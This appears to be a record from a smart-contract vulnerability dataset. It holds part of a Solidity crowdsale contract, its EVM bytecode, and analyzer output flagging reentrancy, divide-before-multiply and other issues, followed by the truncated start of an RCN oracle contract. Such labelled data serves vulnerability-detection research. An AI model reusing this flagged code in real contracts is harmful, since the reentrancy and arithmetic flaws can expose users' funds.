isCrowdsaleSuccessful() public view returns(bool) { return state == CrowdsaleState.Ended && crowdsaleEndedSuccessfully; } modifier notEnded { require(state != CrowdsaleState.Ended, "Crowdsale ended"); _; } modifier grantOwnerOrAdmin() { require(isOwner() || isAdmin()); _; } }
0x608060405260043610610204576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806309e69ede14610333578063123807b2146103aa578063158d1fd4146103ed5780631b06128b1461041c5780631d0a3cb81461044c5780631d89dbc9146104775780631fe86eb9146104bb57806321f8dab614610500578063286dd83c1461052b57806341910104146105425780634a184f51146105855780634b338582146105e85780634be9b99214610692578063518ab2a8146106bd578063593524ed146106e85780635db4696114610730578063704b6c02146107d157806378583275146108145780637b3f0fb7146108415780637eccd5a1146108705780638da5cb5b146108d95780638f32d59b1461093057806397c3ccd81461095f57806399fd9489146109a25780639e965f7e146109d1578063a087730414610a00578063a8351c0314610a2b578063bf81505914610a42578063c19d93fb14610a6f578063c3126bd914610aa8578063c55c4f4714610b11578063c896164414610b40578063d4b73e5314610b83578063de66b5f714610bde578063e9f9d8e214610c09578063ef233f5c14610c4c578063f12d15c314610c77578063f851a44014610ca4578063f8aa836b14610cfb578063f996c69714610d26578063fa89401a14610d51578063fc0c546a14610d94575b6002600481111561021157fe5b600560149054906101000a900460ff16600481111561022c57fe5b1415610287573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610278573d6000803e3d6000fd5b5061028233610deb565b610331565b6001600481111561029457fe5b600560149054906101000a900460ff1660048111156102af57fe5b141515610324576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43726f776473616c652063757272656e746c7920696e6163746976650000000081525060200191505060405180910390fd5b61033033346000610e5c565b5b005b34801561033f57600080fd5b50610374600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bc565b60405180861515151581526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ff565b005b3480156103f957600080fd5b50610402611d67565b604051808215151515815260200191505060405180910390f35b34801561042857600080fd5b5061044a600480360381019080803560ff169060200190929190505050611d7a565b005b34801561045857600080fd5b50610461611fb8565b6040518082815260200191505060405180910390f35b34801561048357600080fd5b506104b9600480360381019080803560ff1690602001909291908035906020019092919080359060200190929190505050611fbe565b005b3480156104c757600080fd5b506104ea6004803603810190808035600019169060200190929190505050612065565b6040518082815260200191505060405180910390f35b34801561050c57600080fd5b5061051561207d565b6040518082815260200191505060405180910390f35b34801561053757600080fd5b5061054061208d565b005b34801561054e57600080fd5b50610583600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612109565b005b34801561059157600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612148565b005b3480156105f457600080fd5b506106176004803603810190808035600019169060200190929190505050612312565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065757808201518184015260208101905061063c565b50505050905090810190601f1680156106845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069e57600080fd5b506106a76123c2565b6040518082815260200191505060405180910390f35b3480156106c957600080fd5b506106d26123d2565b6040518082815260200191505060405180910390f35b3480156106f457600080fd5b50610713600480360381019080803590602001909291905050506123d8565b604051808381526020018281526020019250505060405180910390f35b34801561073c57600080fd5b506107cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035600019169060200190929190505050612401565b005b3480156107dd57600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612714565b005b34801561082057600080fd5b5061083f6004803603810190808035906020019092919050505061277e565b005b34801561084d57600080fd5b5061086e6004803603810190808035151590602001909291905050506127aa565b005b34801561087c57600080fd5b506108bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506127e9565b60405180826000191660001916815260200191505060405180910390f35b3480156108e557600080fd5b506108ee612819565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093c57600080fd5b5061094561283e565b604051808215151515815260200191505060405180910390f35b34801561096b57600080fd5b506109a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612895565b005b3480156109ae57600080fd5b506109cf600480360381019080803515159060200190929190505050612912565b005b3480156109dd57600080fd5b506109e6612ab5565b604051808215151515815260200191505060405180910390f35b348015610a0c57600080fd5b50610a15612ac8565b6040518082815260200191505060405180910390f35b348015610a3757600080fd5b50610a40612ace565b005b348015610a4e57600080fd5b50610a6d60048036038101908080359060200190929190505050612b4a565b005b348015610a7b57600080fd5b50610a84612c14565b60405180826004811115610a9457fe5b60ff16815260200191505060405180910390f35b348015610ab457600080fd5b50610af3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c27565b60405180826000191660001916815260200191505060405180910390f35b348015610b1d57600080fd5b50610b26612c57565b604051808215151515815260200191505060405180910390f35b348015610b4c57600080fd5b50610b81600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c9f565b005b348015610b8f57600080fd5b50610bc4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d1c565b604051808215151515815260200191505060405180910390f35b348015610bea57600080fd5b50610bf3612d3c565b6040518082815260200191505060405180910390f35b348015610c1557600080fd5b50610c4a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d42565b005b348015610c5857600080fd5b50610c61612e60565b6040518082815260200191505060405180910390f35b348015610c8357600080fd5b50610ca260048036038101908080359060200190929190505050612e6f565b005b348015610cb057600080fd5b50610cb9612fa0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d0757600080fd5b50610d10612fc6565b6040518082815260200191505060405180910390f35b348015610d3257600080fd5b50610d3b612fd6565b6040518082815260200191505060405180910390f35b348015610d5d57600080fd5b50610d92600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe5565b005b348015610da057600080fd5b50610da9613004565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60026004811115610df857fe5b600560149054906101000a900460ff166004811115610e1357fe5b141515610e1f57600080fd5b60001515600e60009054906101000a900460ff161515141515610e4157600080fd5b610e4d8160018061302a565b610e598160018061327b565b50565b60008060008060008060006003548910151515610f07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f5061796d656e74206d757374206265206772656174686572206f72206571756181526020017f6c20746f2073616c65206d696e696d756d00000000000000000000000000000081525060400191505060405180910390fd5b60001515601560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5061727469636970616e742069732062616e6e6564000000000000000000000081525060200191505060405180910390fd5b610fdd6002548a60006133ba565b80975081985082995050505086890393506000886000191614925060001515601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141561149c576110fd846110ef601060008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601060008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546134b990919063ffffffff16565b6134b990919063ffffffff16565b91506000601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154118061119257506000601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b905080806111a15750600f5482115b1561149b5760001515601660009054906101000a900460ff161515141515611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f5061727469636970616e7420646f6573206e6f7420636f6d706c79207769746881526020017f204b59430000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b88600454016004819055508215611308576112bd89601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550611433565b601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208890806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055506113cc89601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190555088601460008a60001916600019168152602001908152602001600020819055505b7f9846ce69853a6a2bcdc4aa82a637906e90f7f42d86ed4537c3bdd53d274341208a604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16118b0565b5b60008711156115405782156114f7578973ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f193505050501580156114f1573d6000803e3d6000fd5b5061153f565b7fd202f0b84e65c71a8a11435616fd34ee754f814c395ab34a3d93e40cfbefb96287896040518083815260200182600019166000191681526020019250505060405180910390a15b5b82156115e65761159b84601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550611682565b61163b84601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8b886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174757600080fd5b505af115801561175b573d6000803e3d6000fd5b505050506040513d602081101561177157600080fd5b810190808051906020019092919050505015156117f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4661696c656420746f207472616e7366657220746f6b656e730000000000000081525060200191505060405180910390fd5b8415611821576004600560146101000a81548160ff0219169083600481111561181b57fe5b02179055505b85600254016002819055507f3764284ae66edcf7a5cf6ecfa93fa55ad1acc2a1d126681e38627b468bcff60d848b8a89604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001836000191660001916815260200182815260200194505050505060405180910390a15b50505050505050505050565b60106020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154908060040154905085565b60008061190a61283e565b806119195750611918613501565b5b151561192457600080fd5b6002600481111561193157fe5b600560149054906101000a900460ff16600481111561194c57fe5b141515156119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6001601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541115611b5c57611ab683601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546000610e5c565b611b0d601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015460045461356990919063ffffffff16565b6004819055506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401541115611d6257601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600090505b8180549050811015611c9557611c4f83601460008585815481101515611c0f57fe5b906000526020600020015460001916600019168152602001908152602001600020548484815481101515611c3f57fe5b9060005260206000200154610e5c565b6000601460008484815481101515611c6357fe5b906000526020600020015460001916600019168152602001908152602001600020819055508080600101915050611bed565b6000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506000604051908082528060200260200182016040528015611d0d5781602001602082028038833980820191505090505b50601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611d609291906137f6565b505b505050565b600e60009054906101000a900460ff1681565b600080611d8561283e565b1515611d9057600080fd5b60026004811115611d9d57fe5b600560149054906101000a900460ff166004811115611db857fe5b141515611dc457600080fd5b60648360ff1611158015611ddb575060008360ff16115b1515611de657600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ea357600080fd5b505af1158015611eb7573d6000803e3d6000fd5b505050506040513d6020811015611ecd57600080fd5b810190808051906020019092919050505091506000821115611fb3578260ff166064811515611ef857fe5b0460ff1682811515611f0657fe5b049050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015611f9a57600080fd5b505af1158015611fae573d6000803e3d6000fd5b505050505b505050565b60045481565b611fc661283e565b80611fd55750611fd4613501565b5b1515611fe057600080fd5b600082118015611ff05750600081115b1515611ffb57600080fd5b60008360ff1610158015612013575060038360ff1611155b151561201e57600080fd5b60408051908101604052808381526020018281525060068460ff1660048110151561204557fe5b600202016000820151816000015560208201518160010155905050505050565b60146020528060005260406000206000915090505481565b6b01a5dcb365fc4166be00000081565b61209561283e565b806120a457506120a3613501565b5b15156120af57600080fd5b600360048111156120bc57fe5b600560149054906101000a900460ff1660048111156120d757fe5b1415156120e357600080fd5b6001600560146101000a81548160ff0219169083600481111561210257fe5b0217905550565b61211161283e565b80612120575061211f613501565b5b151561212b57600080fd5b612138816000600161302a565b612145816000600161327b565b50565b61215061283e565b151561215b57600080fd5b6000600481111561216857fe5b600560149054906101000a900460ff16600481111561218357fe5b14151561218f57600080fd5b61219881612714565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b01a5dcb365fc4166be000000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156122a357600080fd5b505af11580156122b7573d6000803e3d6000fd5b505050506040513d60208110156122cd57600080fd5b81019080805190602001909291905050501415156122ea57600080fd5b6001600560146101000a81548160ff0219169083600481111561230957fe5b02179055505050565b60116020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123ba5780601f1061238f576101008083540402835291602001916123ba565b820191906000526020600020905b81548152906001019060200180831161239d57829003601f168201915b505050505081565b6b0195518939d43ed62a00000081565b60025481565b6006816004811015156123e757fe5b600202016000915090508060000154908060010154905082565b61240961283e565b806124185750612417613501565b5b151561242357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42656e6566696369617279206e6f74207370656369666965640000000000000081525060200191505060405180910390fd5b60008251111515612541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4465736372697074696f6e206e6f74207370656369666965640000000000000081525060200191505060405180910390fd5b6000602060ff161115156125bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f436865636b73756d206e6f74207370656369666965640000000000000000000081525060200191505060405180910390fd5b6000601160008360001916600019168152602001908152602001600020805460018160011615610100020316600290049050141515612664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5061796d656e7420616c72656164792070726f6365737365640000000000000081525060200191505060405180910390fd5b61266f848483610e5c565b81601160008360001916600019168152602001908152602001600020908051906020019061269e929190613849565b50601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505090600182039060005260206000200160009091929091909150906000191690555050505050565b61271c61283e565b151561272757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612770613585565b151561277b57600080fd5b50565b61278661283e565b806127955750612794613501565b5b15156127a057600080fd5b8060038190555050565b6127b261283e565b806127c157506127c0613501565b5b15156127cc57600080fd5b80601660006101000a81548160ff02191690831515021790555050565b60136020528160005260406000208181548110151561280457fe5b90600052602060002001600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61289d61283e565b806128ac57506128ab613501565b5b15156128b757600080fd5b6001601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008061291d61283e565b151561292857600080fd5b6002600481111561293557fe5b600560149054906101000a900460ff16600481111561295057fe5b141515156129c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6002600560146101000a81548160ff021916908360048111156129e557fe5b021790555082600e60006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16319150828015612a2b5750600082115b15612ab057612a456004548361356990919063ffffffff16565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612aae573d6000803e3d6000fd5b505b505050565b601660009054906101000a900460ff1681565b60035481565b612ad661283e565b80612ae55750612ae4613501565b5b1515612af057600080fd5b60016004811115612afd57fe5b600560149054906101000a900460ff166004811115612b1857fe5b141515612b2457600080fd5b6003600560146101000a81548160ff02191690836004811115612b4357fe5b0217905550565b612b5261283e565b80612b615750612b60613501565b5b1515612b6c57600080fd5b60026004811115612b7957fe5b600560149054906101000a900460ff166004811115612b9457fe5b14151515612c0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b80600f8190555050565b600560149054906101000a900460ff1681565b601260205281600052604060002081815481101515612c4257fe5b90600052602060002001600091509150505481565b600060026004811115612c6657fe5b600560149054906101000a900460ff166004811115612c8157fe5b148015612c9a5750600e60009054906101000a900460ff165b905090565b612ca761283e565b80612cb65750612cb5613501565b5b1515612cc157600080fd5b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60156020528060005260406000206000915054906101000a900460ff1681565b600f5481565b612d4a61283e565b80612d595750612d58613501565b5b1515612d6457600080fd5b60026004811115612d7157fe5b600560149054906101000a900460ff166004811115612d8c57fe5b14151515612e02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555050565b6a0930de88c45ee706bc000081565b600080612e7a61283e565b1515612e8557600080fd5b6002546a0930de88c45ee706bc000011151515612f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f546865726520617265206e6f7420656e6175676820746f6b656e7320736f6c6481525060200191505060405180910390fd5b8291503073ffffffffffffffffffffffffffffffffffffffff1631905082811015612f33578091505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f9a573d6000803e3d6000fd5b50505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6b0121836204bc2ce21e00000081565b6adf56b9541c229fce00000081565b612fed61283e565b1515612ff857600080fd5b61300181610deb565b50565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b81801561307957506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154115b15613150578273ffffffffffffffffffffffffffffffffffffffff166108fc601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549081150290604051600060405180830381858888f19350505050158015613106573d6000803e3d6000fd5b506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b80801561319f57506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154115b15613276578273ffffffffffffffffffffffffffffffffffffffff166108fc601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549081150290604051600060405180830381858888f1935050505015801561322c573d6000803e3d6000fd5b506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b505050565b8180156132ca57506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154115b15613318576000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b80801561336757506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b156133b5576000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055505b505050565b6000806000806133c86138c9565b6000806000806000806133da8e6135de565b97506133e58861368e565b965086600001518e89038115156133f857fe5b049550600086141561343d576b01a5dcb365fc4166be000000881415613427578c8c60019a509a509a506134a8565b613432888e8e6133ba565b9a509a509a506134a8565b86602001518d81151561344c57fe5b04945085851161345c578461345e565b855b9350866000015184028c019250866020015184028d039150828e019050866020015182101561349657818360009a509a509a506134a8565b6134a18183856133ba565b9a509a509a505b505050505050505093509350939050565b600080828401905060008414806134d05750600083145b156134dd578091506134fa565b83811180156134eb57508281115b15156134f657600080fd5b8091505b5092915050565b600061350b613585565b80156135645750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b905090565b600081831015151561357a57600080fd5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415905090565b60006adf56b9541c229fce000000821015613606576adf56b9541c229fce0000009050613689565b6b0121836204bc2ce21e00000082101561362e576b0121836204bc2ce21e0000009050613689565b6b0195518939d43ed62a000000821015613656576b0195518939d43ed62a0000009050613689565b6b01a5dcb365fc4166be00000082101561367e576b01a5dcb365fc4166be0000009050613689565b6000151561368857fe5b5b919050565b6136966138c9565b6000806136a284613771565b915060068260ff166004811015156136b657fe5b600202019050600081600001541180156136d4575060008160010154115b1515613748576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45786368616e67652072617465206e6f7420736574000000000000000000000081525060200191505060405180910390fd5b806040805190810160405290816000820154815260200160018201548152505092505050919050565b60006adf56b9541c229fce00000082141561378f57600090506137f1565b6b0121836204bc2ce21e0000008214156137ac57600190506137f1565b6b0195518939d43ed62a0000008214156137c957600290506137f1565b6b01a5dcb365fc4166be0000008214156137e657600390506137f1565b600015156137f057fe5b5b919050565b828054828255906000526020600020908101928215613838579160200282015b82811115613837578251829060001916905591602001919060010190613816565b5b50905061384591906138e3565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061388a57805160ff19168380011785556138b8565b828001600101855582156138b8579182015b828111156138b757825182559160200191906001019061389c565b5b5090506138c59190613908565b5090565b604080519081016040528060008152602001600081525090565b61390591905b808211156139015760008160009055506001016138e9565b5090565b90565b61392a91905b8082111561392657600081600090555060010161390e565b5090565b905600a165627a7a72305820a04c21d8deb830ef3a4011c01803e55b5bf29b1e9cab28c6ef204ab7733804de0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,693
0xd52857065795c196a30d804f3ede28eff20a4693
pragma solidity ^0.4.24; contract Token { function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function approve(address _spender, uint256 _value) public returns (bool success); function increaseApproval (address _spender, uint _addedValue) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); } contract Ownable { address public owner; modifier onlyOwner() { require(msg.sender == owner, "msg.sender is not the owner"); _; } constructor() public { owner = msg.sender; } /** @dev Transfers the ownership of the contract. @param _to Address of the new owner */ function transferTo(address _to) external onlyOwner returns (bool) { require(_to != address(0), "Can't transfer to address 0x0"); owner = _to; return true; } } /** @dev Defines the interface of a standard RCN oracle. The oracle is an agent in the RCN network that supplies a convertion rate between RCN and any other currency, it's primarily used by the exchange but could be used by any other agent. */ contract Oracle is Ownable { uint256 public constant VERSION = 4; event NewSymbol(bytes32 _currency); mapping(bytes32 => bool) public supported; bytes32[] public currencies; /** @dev Returns the url where the oracle exposes a valid "oracleData" if needed */ function url() public view returns (string); /** @dev Returns a valid convertion rate from the currency given to RCN @param symbol Symbol of the currency @param data Generic data field, could be used for off-chain signing */ function getRate(bytes32 symbol, bytes data) external returns (uint256 rate, uint256 decimals); /** @dev Adds a currency to the oracle, once added it cannot be removed @param ticker Symbol of the currency @return if the creation was done successfully */ function addCurrency(string ticker) public onlyOwner returns (bool) { bytes32 currency = encodeCurrency(ticker); emit NewSymbol(currency); supported[currency] = true; currencies.push(currency); return true; } /** @return the currency encoded as a bytes32 */ function encodeCurrency(string currency) public pure returns (bytes32 o) { require(bytes(currency).length <= 32, "Currency too long"); assembly { o := mload(add(currency, 32)) } } /** @return the currency string from a encoded bytes32 */ function decodeCurrency(bytes32 b) public pure returns (string o) { uint256 ns = 256; while (true) { if (ns == 0 || (b<<ns-8) != 0) break; ns -= 8; } assembly { ns := div(ns, 8) o := mload(0x40) mstore(0x40, add(o, and(add(add(ns, 0x20), 0x1f), not(0x1f)))) mstore(o, ns) mstore(add(o, 32), b) } } } contract Engine { uint256 public VERSION; string public VERSION_NAME; enum Status { initial, lent, paid, destroyed } struct Approbation { bool approved; bytes data; bytes32 checksum; } function getTotalLoans() public view returns (uint256); function getOracle(uint index) public view returns (Oracle); function getBorrower(uint index) public view returns (address); function getCosigner(uint index) public view returns (address); function ownerOf(uint256) public view returns (address owner); function getCreator(uint index) public view returns (address); function getAmount(uint index) public view returns (uint256); function getPaid(uint index) public view returns (uint256); function getDueTime(uint index) public view returns (uint256); function getApprobation(uint index, address _address) public view returns (bool); function getStatus(uint index) public view returns (Status); function isApproved(uint index) public view returns (bool); function getPendingAmount(uint index) public returns (uint256); function getCurrency(uint index) public view returns (bytes32); function cosign(uint index, uint256 cost) external returns (bool); function approveLoan(uint index) public returns (bool); function transfer(address to, uint256 index) public returns (bool); function takeOwnership(uint256 index) public returns (bool); function withdrawal(uint index, address to, uint256 amount) public returns (bool); function identifierToIndex(bytes32 signature) public view returns (uint256); } /** @dev Defines the interface of a standard RCN cosigner. The cosigner is an agent that gives an insurance to the lender in the event of a defaulted loan, the confitions of the insurance and the cost of the given are defined by the cosigner. The lender will decide what cosigner to use, if any; the address of the cosigner and the valid data provided by the agent should be passed as params when the lender calls the "lend" method on the engine. When the default conditions defined by the cosigner aligns with the status of the loan, the lender of the engine should be able to call the "claim" method to receive the benefit; the cosigner can define aditional requirements to call this method, like the transfer of the ownership of the loan. */ contract 